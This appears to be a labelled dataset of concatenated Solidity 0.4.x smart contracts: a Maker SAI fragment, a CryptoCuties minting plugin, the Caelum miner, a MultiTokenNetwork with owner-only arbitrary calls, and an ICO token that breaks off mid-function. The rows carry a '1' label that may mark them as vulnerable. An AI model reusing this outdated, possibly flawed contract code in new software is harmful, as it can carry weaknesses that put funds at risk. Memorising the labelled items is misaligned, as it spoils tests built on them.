sai.burn(msg.sender, wad);
var (val, ok) = pep.peek();
if (ok && val != 0) gov.move(msg.sender, pit, wdiv(owe, uint(val)));
}
function shut(bytes32 cup) public note {
require(!off);
require(msg.sender == cups[cup].lad);
if (tab(cup) != 0) wipe(cup, tab(cup));
if (ink(cup) != 0) free(cup, ink(cup));
delete cups[cup];
}
function bite(bytes32 cup) public note {
require(!safe(cup) || off);
var rue = tab(cup);
sin.mint(tap, rue);
rum = sub(rum, cups[cup].art);
cups[cup].art = 0;
cups[cup].ire = 0;
var owe = rdiv(rmul(rmul(rue, axe), vox.par()), tag());
if (owe > cups[cup].ink) {
owe = cups[cup].ink;
}
skr.push(tap, owe);
cups[cup].ink = sub(cups[cup].ink, owe);
}
function cage(uint fit_, uint jam) public note auth {
require(!off && fit_ != 0);
off = true;
axe = RAY;
gap = WAD;
fit = fit_;
require(gem.transfer(tap, jam));
}
function flow() public note auth {
require(off);
out = true;
}
}
contract SaiTap is DSThing {
DSToken public sai;
DSToken public sin;
DSToken public skr;
SaiVox public vox;
SaiTub public tub;
uint256 public gap;
bool public off;
uint256 public fix;
function joy() public view returns (uint) {
return sai.balanceOf(this);
}
function woe() public view returns (uint) {
return sin.balanceOf(this);
}
function fog() public view returns (uint) {
return skr.balanceOf(this);
}
function SaiTap(SaiTub tub_) public {
tub = tub_;
sai = tub.sai();
sin = tub.sin();
skr = tub.skr();
vox = tub.vox();
gap = WAD;
}
function mold(bytes32 param, uint val) public note auth {
if (param == 'gap') gap = val;
}
function heal() public note {
if (joy() == 0 || woe() == 0) return;
var wad = min(joy(), woe());
sai.burn(wad);
sin.burn(wad);
}
function s2s() public returns (uint) {
var tag = tub.tag();
var par = vox.par();
return rdiv(tag, par);
}
function bid(uint wad) public returns (uint) {
return rmul(wad, wmul(s2s(), sub(2 * WAD, gap)));
}
function ask(uint wad) public returns (uint) {
return rmul(wad, wmul(s2s(), gap));
}
function flip(uint wad) internal {
require(ask(wad) > 0);
skr.push(msg.sender, wad);
sai.pull(msg.sender, ask(wad));
heal();
}
function flop(uint wad) internal {
skr.mint(sub(wad, fog()));
flip(wad);
require(joy() == 0);
}
function flap(uint wad) internal {
heal();
sai.push(msg.sender, bid(wad));
skr.burn(msg.sender, wad);
}
function bust(uint wad) public note {
require(!off);
if (wad > fog()) flop(wad);
else flip(wad);
}
function boom(uint wad) public note {
require(!off);
flap(wad);
}
function cage(uint fix_) public note auth {
require(!off);
off = true;
fix = fix_;
}
function cash(uint wad) public note {
require(off);
sai.burn(msg.sender, wad);
require(tub.gem().transfer(msg.sender, rmul(wad, fix)));
}
function mock(uint wad) public note {
require(off);
sai.mint(msg.sender, wad);
require(tub.gem().transferFrom(msg.sender, this, rmul(wad, fix)));
}
function vent() public note {
require(off);
skr.burn(fog());
}
} | 1 | 4,233 |
pragma solidity ^0.4.24;
pragma solidity ^0.4.24;
pragma solidity ^0.4.24;
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
pragma solidity ^0.4.24;
contract PluginInterface
{
function isPluginInterface() public pure returns (bool);
function onRemove() public;
function run(
uint40 _cutieId,
uint256 _parameter,
address _seller
)
public
payable;
function runSigned(
uint40 _cutieId,
uint256 _parameter,
address _owner
)
external
payable;
function withdraw() public;
}
pragma solidity ^0.4.24;
pragma solidity ^0.4.24;
contract ConfigInterface
{
function isConfig() public pure returns (bool);
function getCooldownIndexFromGeneration(uint16 _generation) public view returns (uint16);
function getCooldownEndTimeFromIndex(uint16 _cooldownIndex) public view returns (uint40);
function getCooldownIndexCount() public view returns (uint256);
function getBabyGen(uint16 _momGen, uint16 _dadGen) public pure returns (uint16);
function getTutorialBabyGen(uint16 _dadGen) public pure returns (uint16);
function getBreedingFee(uint40 _momId, uint40 _dadId) public view returns (uint256);
}
contract CutieCoreInterface
{
function isCutieCore() pure public returns (bool);
ConfigInterface public config;
function transferFrom(address _from, address _to, uint256 _cutieId) external;
function transfer(address _to, uint256 _cutieId) external;
function ownerOf(uint256 _cutieId)
external
view
returns (address owner);
function getCutie(uint40 _id)
external
view
returns (
uint256 genes,
uint40 birthTime,
uint40 cooldownEndTime,
uint40 momId,
uint40 dadId,
uint16 cooldownIndex,
uint16 generation
);
function getGenes(uint40 _id)
public
view
returns (
uint256 genes
);
function getCooldownEndTime(uint40 _id)
public
view
returns (
uint40 cooldownEndTime
);
function getCooldownIndex(uint40 _id)
public
view
returns (
uint16 cooldownIndex
);
function getGeneration(uint40 _id)
public
view
returns (
uint16 generation
);
function getOptional(uint40 _id)
public
view
returns (
uint64 optional
);
function changeGenes(
uint40 _cutieId,
uint256 _genes)
public;
function changeCooldownEndTime(
uint40 _cutieId,
uint40 _cooldownEndTime)
public;
function changeCooldownIndex(
uint40 _cutieId,
uint16 _cooldownIndex)
public;
function changeOptional(
uint40 _cutieId,
uint64 _optional)
public;
function changeGeneration(
uint40 _cutieId,
uint16 _generation)
public;
function createSaleAuction(
uint40 _cutieId,
uint128 _startPrice,
uint128 _endPrice,
uint40 _duration
)
public;
function getApproved(uint256 _tokenId) external returns (address);
}
contract CutiePluginBase is PluginInterface, Pausable
{
function isPluginInterface() public pure returns (bool)
{
return true;
}
CutieCoreInterface public coreContract;
uint16 public ownerFee;
modifier onlyCore() {
require(msg.sender == address(coreContract));
_;
}
function setup(address _coreAddress, uint16 _fee) public {
require(_fee <= 10000);
require(msg.sender == owner);
ownerFee = _fee;
CutieCoreInterface candidateContract = CutieCoreInterface(_coreAddress);
require(candidateContract.isCutieCore());
coreContract = candidateContract;
}
function setFee(uint16 _fee) public
{
require(_fee <= 10000);
require(msg.sender == owner);
ownerFee = _fee;
}
function _isOwner(address _claimant, uint40 _cutieId) internal view returns (bool) {
return (coreContract.ownerOf(_cutieId) == _claimant);
}
function _escrow(address _owner, uint40 _cutieId) internal {
coreContract.transferFrom(_owner, this, _cutieId);
}
function _transfer(address _receiver, uint40 _cutieId) internal {
coreContract.transfer(_receiver, _cutieId);
}
function _computeFee(uint128 _price) internal view returns (uint128) {
return _price * ownerFee / 10000;
}
function withdraw() public
{
require(
msg.sender == owner ||
msg.sender == address(coreContract)
);
if (address(this).balance > 0)
{
address(coreContract).transfer(address(this).balance);
}
}
function onRemove() public onlyCore
{
withdraw();
}
function run(
uint40,
uint256,
address
)
public
payable
onlyCore
{
revert();
}
}
pragma solidity ^0.4.24;
pragma solidity ^0.4.24;
contract ERC20Interface {
string public symbol;
string public name;
uint8 public decimals;
function transfer(address _to, uint _value, bytes _data) external returns (bool success);
function approveAndCall(address spender, uint tokens, bytes data) external returns (bool success);
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
function transferBulk(address[] to, uint[] tokens) public;
function approveBulk(address[] spender, uint[] tokens) public;
}
contract CuteCoinInterface is ERC20Interface
{
function mint(address target, uint256 mintedAmount) public;
function mintBulk(address[] target, uint256[] mintedAmount) external;
function burn(uint256 amount) external;
}
contract CoinMinting is CutiePluginBase
{
CuteCoinInterface token;
function setToken(CuteCoinInterface _token)
external
onlyOwner
{
token = _token;
}
function run(
uint40,
uint256,
address
)
public
payable
onlyCore
{
revert();
}
function runSigned(uint40, uint256 _parameter, address _target)
external
payable
onlyCore
{
token.mint(_target, _parameter);
}
} | 1 | 4,249 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns(uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns(uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns(uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns(uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns(uint256) {
require(b != 0);
return a % b;
}
}
library ExtendedMath {
function limitLessThan(uint a, uint b) internal pure returns(uint c) {
if (a > b) return b;
return a;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract InterfaceContracts is Ownable {
InterfaceContracts public _internalMod;
function setModifierContract (address _t) onlyOwner public {
_internalMod = InterfaceContracts(_t);
}
modifier onlyMiningContract() {
require(msg.sender == _internalMod._contract_miner(), "Wrong sender");
_;
}
modifier onlyTokenContract() {
require(msg.sender == _internalMod._contract_token(), "Wrong sender");
_;
}
modifier onlyMasternodeContract() {
require(msg.sender == _internalMod._contract_masternode(), "Wrong sender");
_;
}
modifier onlyVotingOrOwner() {
require(msg.sender == _internalMod._contract_voting() || msg.sender == owner, "Wrong sender");
_;
}
modifier onlyVotingContract() {
require(msg.sender == _internalMod._contract_voting() || msg.sender == owner, "Wrong sender");
_;
}
function _contract_voting () public view returns (address) {
return _internalMod._contract_voting();
}
function _contract_masternode () public view returns (address) {
return _internalMod._contract_masternode();
}
function _contract_token () public view returns (address) {
return _internalMod._contract_token();
}
function _contract_miner () public view returns (address) {
return _internalMod._contract_miner();
}
}
interface ICaelumMasternode {
function _externalArrangeFlow() external;
function rewardsProofOfWork() external returns (uint) ;
function rewardsMasternode() external returns (uint) ;
function masternodeIDcounter() external returns (uint) ;
function masternodeCandidate() external returns (uint) ;
function getUserFromID(uint) external view returns (address) ;
function contractProgress() external view returns (uint, uint, uint, uint, uint, uint, uint, uint);
}
interface ICaelumToken {
function rewardExternal(address, uint) external;
}
interface EIP918Interface {
function mint(uint256 nonce, bytes32 challenge_digest) external returns (bool success);
function getChallengeNumber() external view returns (bytes32);
function getMiningDifficulty() external view returns (uint);
function getMiningTarget() external view returns (uint);
function getMiningReward() external view returns (uint);
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
}
contract AbstractERC918 is EIP918Interface {
bytes32 public challengeNumber;
uint public difficulty;
uint public tokensMinted;
struct Statistics {
address lastRewardTo;
uint lastRewardAmount;
uint lastRewardEthBlockNumber;
uint lastRewardTimestamp;
}
Statistics public statistics;
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success);
function _hash(uint256 nonce, bytes32 challenge_digest) internal returns (bytes32 digest);
function _reward() internal returns (uint);
function _newEpoch(uint256 nonce) internal returns (uint);
function _adjustDifficulty() internal returns (uint);
}
contract CaelumAbstractMiner is InterfaceContracts, AbstractERC918 {
using SafeMath for uint;
using ExtendedMath for uint;
uint256 public totalSupply = 2100000000000000;
uint public latestDifficultyPeriodStarted;
uint public epochCount;
uint public baseMiningReward = 50;
uint public blocksPerReadjustment = 512;
uint public _MINIMUM_TARGET = 2 ** 16;
uint public _MAXIMUM_TARGET = 2 ** 234;
uint public rewardEra = 0;
uint public maxSupplyForEra;
uint public MAX_REWARD_ERA = 39;
uint public MINING_RATE_FACTOR = 60;
uint public MAX_ADJUSTMENT_PERCENT = 100;
uint public TARGET_DIVISOR = 2000;
uint public QUOTIENT_LIMIT = TARGET_DIVISOR.div(2);
mapping(bytes32 => bytes32) solutionForChallenge;
mapping(address => mapping(address => uint)) allowed;
bytes32 public challengeNumber;
uint public difficulty;
uint public tokensMinted;
Statistics public statistics;
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
event RewardMasternode(address candidate, uint amount);
constructor() public {
tokensMinted = 0;
maxSupplyForEra = totalSupply.div(2);
difficulty = _MAXIMUM_TARGET;
latestDifficultyPeriodStarted = block.number;
_newEpoch(0);
}
function _newEpoch(uint256 nonce) internal returns(uint) {
if (tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < MAX_REWARD_ERA) {
rewardEra = rewardEra + 1;
}
maxSupplyForEra = totalSupply - totalSupply.div(2 ** (rewardEra + 1));
epochCount = epochCount.add(1);
challengeNumber = blockhash(block.number - 1);
return (epochCount);
}
function mint(uint256 nonce, bytes32 challenge_digest) public returns(bool success);
function _hash(uint256 nonce, bytes32 challenge_digest) internal returns(bytes32 digest) {
digest = keccak256(challengeNumber, msg.sender, nonce);
if (digest != challenge_digest) revert();
if (uint256(digest) > difficulty) revert();
bytes32 solution = solutionForChallenge[challengeNumber];
solutionForChallenge[challengeNumber] = digest;
if (solution != 0x0) revert();
}
function _reward() internal returns(uint);
function _reward_masternode() internal returns(uint);
function _adjustDifficulty() internal returns(uint) {
if (epochCount % blocksPerReadjustment != 0) {
return difficulty;
}
uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted;
uint epochsMined = blocksPerReadjustment;
uint targetEthBlocksPerDiffPeriod = epochsMined * MINING_RATE_FACTOR;
if (ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod) {
uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(MAX_ADJUSTMENT_PERCENT)).div(ethBlocksSinceLastDifficultyPeriod);
uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(QUOTIENT_LIMIT);
difficulty = difficulty.sub(difficulty.div(TARGET_DIVISOR).mul(excess_block_pct_extra));
} else {
uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(MAX_ADJUSTMENT_PERCENT)).div(targetEthBlocksPerDiffPeriod);
uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(QUOTIENT_LIMIT);
difficulty = difficulty.add(difficulty.div(TARGET_DIVISOR).mul(shortage_block_pct_extra));
}
latestDifficultyPeriodStarted = block.number;
if (difficulty < _MINIMUM_TARGET)
{
difficulty = _MINIMUM_TARGET;
}
if (difficulty > _MAXIMUM_TARGET)
{
difficulty = _MAXIMUM_TARGET;
}
}
function getChallengeNumber() public view returns(bytes32) {
return challengeNumber;
}
function getMiningDifficulty() public view returns(uint) {
return _MAXIMUM_TARGET.div(difficulty);
}
function getMiningTarget() public view returns(uint) {
return difficulty;
}
function getMiningReward() public view returns(uint) {
return (baseMiningReward * 1e8).div(2 ** rewardEra);
}
function getMintDigest(
uint256 nonce,
bytes32 challenge_digest,
bytes32 challenge_number
)
public view returns(bytes32 digesttest) {
bytes32 digest = keccak256(challenge_number, msg.sender, nonce);
return digest;
}
function checkMintSolution(
uint256 nonce,
bytes32 challenge_digest,
bytes32 challenge_number,
uint testTarget
)
public view returns(bool success) {
bytes32 digest = keccak256(challenge_number, msg.sender, nonce);
if (uint256(digest) > testTarget) revert();
return (digest == challenge_digest);
}
}
contract CaelumMiner is CaelumAbstractMiner {
ICaelumToken public tokenInterface;
ICaelumMasternode public masternodeInterface;
bool public ACTIVE_STATE = false;
uint swapStartedBlock = now;
uint public gasPriceLimit = 999;
modifier checkGasPrice(uint txnGasPrice) {
require(txnGasPrice <= gasPriceLimit * 1000000000, "Gas above gwei limit!");
_;
}
event GasPriceSet(uint8 _gasPrice);
function setGasPriceLimit(uint8 _gasPrice) onlyOwner public {
require(_gasPrice > 0);
gasPriceLimit = _gasPrice;
emit GasPriceSet(_gasPrice);
}
function setTokenContract() internal {
tokenInterface = ICaelumToken(_contract_token());
}
function setMasternodeContract() internal {
masternodeInterface = ICaelumMasternode(_contract_masternode());
}
function setModifierContract (address _contract) onlyOwner public {
require (now <= swapStartedBlock + 10 days);
_internalMod = InterfaceContracts(_contract);
setMasternodeContract();
setTokenContract();
}
function VoteModifierContract (address _contract) onlyVotingContract external {
_internalMod = InterfaceContracts(_contract);
setMasternodeContract();
setTokenContract();
}
function mint(uint256 nonce, bytes32 challenge_digest) checkGasPrice(tx.gasprice) public returns(bool success) {
require(ACTIVE_STATE);
_hash(nonce, challenge_digest);
masternodeInterface._externalArrangeFlow();
uint rewardAmount = _reward();
uint rewardMasternode = _reward_masternode();
tokensMinted += rewardAmount.add(rewardMasternode);
uint epochCounter = _newEpoch(nonce);
_adjustDifficulty();
statistics = Statistics(msg.sender, rewardAmount, block.number, now);
emit Mint(msg.sender, rewardAmount, epochCounter, challengeNumber);
return true;
}
function _reward() internal returns(uint) {
uint _pow = masternodeInterface.rewardsProofOfWork();
tokenInterface.rewardExternal(msg.sender, 1 * 1e8);
return _pow;
}
function _reward_masternode() internal returns(uint) {
uint _mnReward = masternodeInterface.rewardsMasternode();
if (masternodeInterface.masternodeIDcounter() == 0) return 0;
address _mnCandidate = masternodeInterface.getUserFromID(masternodeInterface.masternodeCandidate());
if (_mnCandidate == 0x0) return 0;
tokenInterface.rewardExternal(_mnCandidate, _mnReward);
emit RewardMasternode(_mnCandidate, _mnReward);
return _mnReward;
}
function getMiningRewardForPool() public view returns(uint) {
return masternodeInterface.rewardsProofOfWork();
}
function getMiningReward() public view returns(uint) {
return (baseMiningReward * 1e8).div(2 ** rewardEra);
}
function contractProgress() public view returns
(
uint epoch,
uint candidate,
uint round,
uint miningepoch,
uint globalreward,
uint powreward,
uint masternodereward,
uint usercounter
) {
return ICaelumMasternode(_contract_masternode()).contractProgress();
}
function getDataFromContract(address _previous_contract) onlyOwner public {
require(ACTIVE_STATE == false);
require(_contract_token() != 0);
require(_contract_masternode() != 0);
CaelumAbstractMiner prev = CaelumAbstractMiner(_previous_contract);
difficulty = prev.difficulty();
rewardEra = prev.rewardEra();
MINING_RATE_FACTOR = prev.MINING_RATE_FACTOR();
maxSupplyForEra = prev.maxSupplyForEra();
tokensMinted = prev.tokensMinted();
epochCount = prev.epochCount();
ACTIVE_STATE = true;
}
} | 1 | 3,284 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract AbstractDeployer is Ownable {
function title() public view returns(string);
function deploy(bytes data)
external onlyOwner returns(address result)
{
require(address(this).call(data), "Arbitrary call failed");
assembly {
returndatacopy(0, 0, 32)
result := mload(0)
}
}
}
contract IBasicMultiToken is ERC20 {
event Bundle(address indexed who, address indexed beneficiary, uint256 value);
event Unbundle(address indexed who, address indexed beneficiary, uint256 value);
function tokensCount() public view returns(uint256);
function tokens(uint i) public view returns(ERC20);
function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public;
function bundle(address _beneficiary, uint256 _amount) public;
function unbundle(address _beneficiary, uint256 _value) public;
function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public;
function disableBundling() public;
function enableBundling() public;
}
contract IMultiToken is IBasicMultiToken {
event Update();
event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return);
function weights(address _token) public view returns(uint256);
function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount);
function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount);
function disableChanges() public;
}
contract MultiTokenNetwork is Pausable {
address[] private _multitokens;
AbstractDeployer[] private _deployers;
event NewMultitoken(address indexed mtkn);
event NewDeployer(uint256 indexed index, address indexed oldDeployer, address indexed newDeployer);
function multitokensCount() public view returns(uint256) {
return _multitokens.length;
}
function multitokens(uint i) public view returns(address) {
return _multitokens[i];
}
function allMultitokens() public view returns(address[]) {
return _multitokens;
}
function deployersCount() public view returns(uint256) {
return _deployers.length;
}
function deployers(uint i) public view returns(AbstractDeployer) {
return _deployers[i];
}
function allWalletBalances(address wallet) public view returns(uint256[]) {
uint256[] memory balances = new uint256[](_multitokens.length);
for (uint i = 0; i < _multitokens.length; i++) {
balances[i] = ERC20(_multitokens[i]).balanceOf(wallet);
}
return balances;
}
function deleteMultitoken(uint index) public onlyOwner {
require(index < _multitokens.length, "deleteMultitoken: index out of range");
if (index != _multitokens.length - 1) {
_multitokens[index] = _multitokens[_multitokens.length - 1];
}
_multitokens.length -= 1;
}
function deleteDeployer(uint index) public onlyOwner {
require(index < _deployers.length, "deleteDeployer: index out of range");
if (index != _deployers.length - 1) {
_deployers[index] = _deployers[_deployers.length - 1];
}
_deployers.length -= 1;
}
function disableBundlingMultitoken(uint index) public onlyOwner {
IBasicMultiToken(_multitokens[index]).disableBundling();
}
function enableBundlingMultitoken(uint index) public onlyOwner {
IBasicMultiToken(_multitokens[index]).enableBundling();
}
function disableChangesMultitoken(uint index) public onlyOwner {
IMultiToken(_multitokens[index]).disableChanges();
}
function addDeployer(AbstractDeployer deployer) public onlyOwner whenNotPaused {
require(deployer.owner() == address(this), "addDeployer: first set MultiTokenNetwork as owner");
emit NewDeployer(_deployers.length, address(0), deployer);
_deployers.push(deployer);
}
function setDeployer(uint256 index, AbstractDeployer deployer) public onlyOwner whenNotPaused {
require(deployer.owner() == address(this), "setDeployer: first set MultiTokenNetwork as owner");
emit NewDeployer(index, _deployers[index], deployer);
_deployers[index] = deployer;
}
function deploy(uint256 index, bytes data) public whenNotPaused {
address mtkn = _deployers[index].deploy(data);
_multitokens.push(mtkn);
emit NewMultitoken(mtkn);
}
function makeCall(address target, uint256 value, bytes data) public onlyOwner {
require(target.call.value(value)(data), "Arbitrary call failed");
}
} | 1 | 2,933 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint256 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint256 _releaseTime) public {
require(_releaseTime > block.timestamp);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(block.timestamp >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract EntryToken is StandardToken, Ownable {
string public constant name = "Entry Token";
string public constant symbol = "ENTRY";
uint8 public constant decimals = 18;
uint256 public constant TOKENS_SALE_HARD_CAP = 325000000000000000000000000;
uint256 public constant BASE_RATE = 6000;
uint256 private constant datePreSaleStart = 1525294800;
uint256 private constant datePreSaleEnd = 1525986000;
uint256 private constant dateSaleStart = 1527800400;
uint256 private constant dateSaleEnd = 1535749200;
uint256 private preSaleCap = 75000000000000000000000000;
uint256[25] private stageCaps = [
85000000000000000000000000 ,
95000000000000000000000000 ,
105000000000000000000000000 ,
115000000000000000000000000 ,
125000000000000000000000000 ,
135000000000000000000000000 ,
145000000000000000000000000 ,
155000000000000000000000000 ,
165000000000000000000000000 ,
175000000000000000000000000 ,
185000000000000000000000000 ,
195000000000000000000000000 ,
205000000000000000000000000 ,
215000000000000000000000000 ,
225000000000000000000000000 ,
235000000000000000000000000 ,
245000000000000000000000000 ,
255000000000000000000000000 ,
265000000000000000000000000 ,
275000000000000000000000000 ,
285000000000000000000000000 ,
295000000000000000000000000 ,
305000000000000000000000000 ,
315000000000000000000000000 ,
325000000000000000000000000
];
uint8[25] private stageRates = [15, 16, 17, 18, 19, 21, 22, 23, 24, 25, 27,
28, 29, 30, 31, 33, 34, 35, 36, 37, 40, 41, 42, 43, 44];
uint64 private constant dateTeamTokensLockedTill = 1630443600;
bool public tokenSaleClosed = false;
address public timelockContractAddress;
function isPreSalePeriod() public constant returns (bool) {
if(totalSupply > preSaleCap || now >= datePreSaleEnd) {
return false;
} else {
return now > datePreSaleStart;
}
}
function isICOPeriod() public constant returns (bool) {
if (totalSupply > TOKENS_SALE_HARD_CAP || now >= dateSaleEnd){
return false;
} else {
return now > dateSaleStart;
}
}
modifier inProgress {
require(totalSupply < TOKENS_SALE_HARD_CAP && !tokenSaleClosed && now >= datePreSaleStart);
_;
}
modifier beforeEnd {
require(!tokenSaleClosed);
_;
}
modifier canBeTraded {
require(tokenSaleClosed);
_;
}
function EntryToken() public {
generateTokens(owner, 50000000000000000000000000);
}
function () public payable inProgress {
if(isPreSalePeriod()){
buyPreSaleTokens(msg.sender);
} else if (isICOPeriod()){
buyTokens(msg.sender);
}
}
function buyPreSaleTokens(address _beneficiary) internal {
require(msg.value >= 0.01 ether);
uint256 tokens = getPreSaleTokenAmount(msg.value);
require(totalSupply.add(tokens) <= preSaleCap);
generateTokens(_beneficiary, tokens);
owner.transfer(address(this).balance);
}
function buyTokens(address _beneficiary) internal {
require(msg.value >= 0.01 ether);
uint256 tokens = getTokenAmount(msg.value);
require(totalSupply.add(tokens) <= TOKENS_SALE_HARD_CAP);
generateTokens(_beneficiary, tokens);
owner.transfer(address(this).balance);
}
function getPreSaleTokenAmount(uint256 weiAmount)internal pure returns (uint256) {
return weiAmount.mul(BASE_RATE);
}
function getTokenAmount(uint256 weiAmount) internal view returns (uint256 tokens) {
